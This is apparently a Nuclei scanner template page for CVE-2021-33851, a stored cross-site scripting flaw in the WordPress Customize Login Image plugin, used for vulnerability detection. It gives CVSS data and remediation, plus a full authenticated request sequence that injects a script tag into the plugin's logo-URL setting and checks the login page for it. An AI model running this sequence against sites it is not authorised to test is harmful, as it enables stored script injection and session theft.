WordPress Customize Login Image <3.5.3 - Cross-Site Scripting

ID: CVE-2021-33851

Severity: medium

Author: 8authur

Tags: cve,cve2021,wpscan,wordpress,customize-login-image,wp,authenticated,wp-plugin,xss,apasionados

Description

WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: CVE-2021-33851

info:
  name: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
  author: 8authur
  severity: medium
  description: |
    WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update to the latest version of the WordPress Customize Login Image plugin (3.5.3) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
    - https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
    - https://wordpress.org/plugins/customize-login-image/
    - https://nvd.nist.gov/vuln/detail/cve-2021-33851
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-33851
    cwe-id: CWE-79
    epss-score: 0.00069
    epss-percentile: 0.29862
    cpe: cpe:2.3:a:apasionados:customize_login_image:3.4:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: apasionados
    product: customize_login_image
    framework: wordpress
  tags: cve,cve2021,wpscan,wordpress,customize-login-image,wp,authenticated,wp-plugin,xss,apasionados

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=customize-login-image-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_4 == 200'
          - 'contains(header_4, "text/html")'
          - 'contains(body_4, "Go to <script>alert(document.domain)</script>")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
        internal: true
        part: body
# digest: 4a0a00473045022069b2771009caeecf24cb0b56d979aac6946cf0a75d670423366e81fc280100ad022100def4befea815615d4c412e4b7057fb16d8431d0a87a8997c13ccf2df80c62a20:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-33851.yaml"

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